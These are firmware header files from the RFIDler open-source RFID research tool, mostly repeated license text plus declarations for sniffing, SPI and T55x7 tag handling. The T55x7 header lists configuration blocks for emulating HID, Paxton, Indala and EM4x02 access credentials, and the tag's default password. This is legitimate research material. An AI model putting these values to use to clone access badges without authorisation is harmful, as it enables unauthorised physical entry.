#define SCdrv_EnableTxPinPullUp()
// Enable Pull up at Rx Pin
#define SCdrv_EnableRxPinPullUp()
// Enable Pull up for SMART_CARD_DETECTION
//#define SCdrv_EnableCardPresentPinPullUp() (CNPUEbits.CNPUE2 = 1)
#define SCdrv_EnableCardPresentPinPullUp()
// Enable Pull up for SIM_CARD_DETECTION
//#define SCdrv_EnableSimPresentPinPullUp() (CNPUEbits.CNPUE3 = 1)
#define SCdrv_EnableSimPresentPinPullUp()
// Disable Pull up at Tx Pin
#define SCdrv_DisableTxPinPullUp()
// Disable Pull up at Rx Pin
#define SCdrv_DisableRxPinPullUp()
// MAP UART Rx Pin
#define MapUART1RxPin()
// MAP UART Tx Pin
#define MapUART1TxPin()
================================================
FILE: firmware/Pic32/RFIDler.X/include/sdcard.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL sdcard_test(BOOL quiet);
================================================
FILE: firmware/Pic32/RFIDler.X/include/select.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL select_tag(BYTE *response);
================================================
FILE: firmware/Pic32/RFIDler.X/include/sniff.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode);
void do_sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode);
void decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);
BYTE generic_decode_pwm(BYTE *result, unsigned int pulses[], unsigned int minpulse, unsigned int maxpulse, unsigned int gaps[], unsigned int mingap, unsigned int maxgap, unsigned int count);
================================================
FILE: firmware/Pic32/RFIDler.X/include/spi.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define SPI_NULL 0x00
void initSpiTransfer(BYTE txByte, BYTE *rxByte);
void initSpiTransfer16(unsigned int txWord, unsigned int *rxWord);
BYTE sendSpiCommand(BYTE command, BYTE error_ok, unsigned int arglen, BYTE *arg, unsigned int retlen, BYTE *retdata);
unsigned int sendSpiCommand16(unsigned int command, BYTE error_ok, unsigned int arglen, unsigned int *arg, unsigned int retlen, unsigned int *retdata);
void pauseSpi(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/t55x7.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define T55X7_SOFT_RESET "00" // reset (test mode)
#define T55X7_DIRECT_ACCESS "10" // direct read in pwd or non-pwd mode
#define T55X7_STD_WRITE_P0 "10" // write page 0
#define T55X7_STD_WRITE_P1 "11" // write page 1
#define T55X7_GET_TRACE_DATA "11" // get 64 bits tracebility data
#define T55X7_AOR "10" // Answer On Request (wakeup)
#define T55X7_READ_CONFIG_BLOCK "100000" // direct read, no PWD, address 000
#define T55X7_START_GAP 48 // start gap in FC - range 10 - 50, must be greater than command gap
#define T55X7_POR_DELAY 8190 // FCs additional startup delay if POR set
#define T55X7_WRITE_DELAY 1000 // time needed to complete write operation in FC - 64 + 648 in the docs, so round up a bit
#define T55X7_BLOCKSIZE 32 // blocksize in bits
#define T55X7_DATABLOCKS 8 // total number of blocks
#define T55X7_CONFIG_BLOCK_NUM 0 // config block number
#define T55X7_USER_DATA_BLOCK_NUM 1 // 1st user data block
#define T55X7_PW_BLOCK_NUM 7 // password block number
#define T55X7_BLANK_BLOCK "00000000"
#define T55X7_DEFAULT_PWD "00000000" // default password
// config blocks
#define T55X7_DEFAULT_CONFIG_BLOCK "000880E8" // compat mode, data rate 32, manchester, ST, 7 data blocks
#define T55X7_RAW_CONFIG_BLOCK "000880E0" // compat mode, data rate 32, manchester, 7 data blocks
#define T55X7_EM_UNIQUE_CONFIG_BLOCK "00148040" // emulate em4x02/unique - compat mode, manchester, data rate 64, 2 data blocks
#define T55X7_EM_PAXTON_CONFIG_BLOCK "00148040" // emulate em4x02/paxton - compat mode, manchester, data rate 64, 2 data blocks
// FDXB requires data inversion and BiPhase 57 is simply BipHase 50 inverted, so we can either do it using the modulation scheme or the inversion flag
// we've done both below to prove that it works either way, and the modulation value for BiPhase 50 in the Atmel data sheet of binary "10001" (17) is a typo,
// and it should actually be "10000" (16)
// #define T55X7_FDXB_CONFIG_BLOCK "903F8080" // emulate fdx-b - xtended mode, BiPhase ('57), data rate 32, 4 data blocks
#define T55X7_FDXB_CONFIG_BLOCK "903F0082" // emulate fdx-b - xtended mode, BiPhase ('50), invert data, data rate 32, 4 data blocks
#define T55X7_HID_26_CONFIG_BLOCK "00107060" // hid 26 bit - compat mode, FSK2a, data rate 50, 3 data blocks
#define T55X7_INDALA_64_CONFIG_BLOCK "00081040" // emulate indala 64 bit - compat mode, PSK1, psk carrier FC * 2, data rate 32, maxblock 2
#define T55X7_INDALA_224_CONFIG_BLOCK "000810E0" // emulate indala 224 bit - compat mode, PSK1, psk carrier FC * 2, data rate 32, maxblock 7
// note that T55X7 sends data in LSB order, so everything in the datasheet is effectively reversed
// what is shown as "bit 32" is actually bit 0
// config block common masks
#define T55X7_MASK_MASTER_KEY 0b11110000000000000000000000000000
#define T55X7_MASK_XMODE 0b00000000000000100000000000000000
#define T55X7_MASK_MODULATION 0b00000000000000011111000000000000
#define T55X7_MASK_PSK_CARRIER_FREQ 0b00000000000000000000110000000000
#define T55X7_MASK_AOR 0b00000000000000000000001000000000
#define T55X7_MASK_OTP 0b00000000000000000000000100000000
#define T55X7_MASK_MAX_BLOCK 0b00000000000000000000000011100000
#define T55X7_MASK_PWD 0b00000000000000000000000000010000
#define T55X7_MASK_FAST_WRITE 0b00000000000000000000000000000100
#define T55X7_MASK_INVERSE_DATA 0b00000000000000000000000000000010
#define T55X7_MASK_POR_DELAY 0b00000000000000000000000000000001
#define T55X7_COMPAT_MODE 0b0110
// config block masks - compatibility mode (master key == 0110)
#define T55X7_COMPAT_MASK_DATA_BIT_RATE 0b00000000000111000000000000000000
#define T55X7_COMPAT_MASK_ST 0b00000000000000000000000000001000
#define T55X7_XMODE_MODE 0b1001
// config block masks - xtended mode (master key == 1001)
#define T55X7_XMODE_MASK_DATA_BIT_RATE 0b00000000111111000000000000000000
#define T55X7_XMODE_MASK_SST 0b00000000000000000000000000001000
// config block bit shifts - (same for both modes, but not all apply)
#define T55X7_SHIFT_MASTER_KEY 28
#define T55X7_SHIFT_DATA_BIT_RATE 18
#define T55X7_SHIFT_XMODE 17
#define T55X7_SHIFT_MODULATION 12
#define T55X7_SHIFT_PSK_CARRIER_FREQ 10
#define T55X7_SHIFT_AOR 9
#define T55X7_SHIFT_OTP 8
#define T55X7_SHIFT_MAX_BLOCK 5
#define T55X7_SHIFT_PWD 4
#define T55X7_SHIFT_ST_SST 3
